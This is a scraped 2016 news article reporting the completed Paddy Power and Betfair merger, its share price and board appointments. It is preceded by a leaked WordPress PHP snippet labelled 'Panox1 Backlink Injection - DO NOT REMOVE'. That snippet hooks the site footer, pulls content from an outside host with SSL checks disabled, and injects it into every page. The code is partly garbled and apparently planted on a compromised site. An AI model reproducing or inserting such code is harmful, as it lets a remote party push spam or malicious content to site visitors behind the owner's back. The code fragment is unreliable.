// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Paddy Power Betfair worth more than 4bn – Next Sports News
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Paddy Power

Paddy Power: have completed merger with Betfair

 By Mark Scully 8:15AM 2 FEB 2016 

PADDY POWER BETFAIR PLC has opened on the London Stock Exchange with a share price of £104.02, valuing the new company at more than £4 billion.

In a statement to the London Stock Exchange issued at the beginning of trading on Tuesday, the company confirmed all details of the merger between Paddy Power and Betfair have now been completed.

The new company also confirmed details of its Board of Directors, which have come about with immediate effect.

Cormac McCarthy, Tom Grace and Ulric Jerome have resigned as directors, with the appointment of Breon Corcoran as chief executive of the new company finalised.

Alex Gersh has been appointed its chief financial officer, while Ian Dyson, Zillah Byng-Thorne, Peter Jackson and Peter Rigby will act as non-executive directors.

Paddy Power and Betfair announced last August their intention to create the world’s largest public online betting and gaming companies with combined revenues of more than £1.1bn.

According to Warwick Bartlett, chief executive of Global Betting and Gaming Consultants, they have achieved their goal.

He said: “Online, they would be number two behind bet365, which remains the dominant force in terms of gross gaming yield, but if you take into account Paddy Power shops as well then they probably would be the largest.”

 

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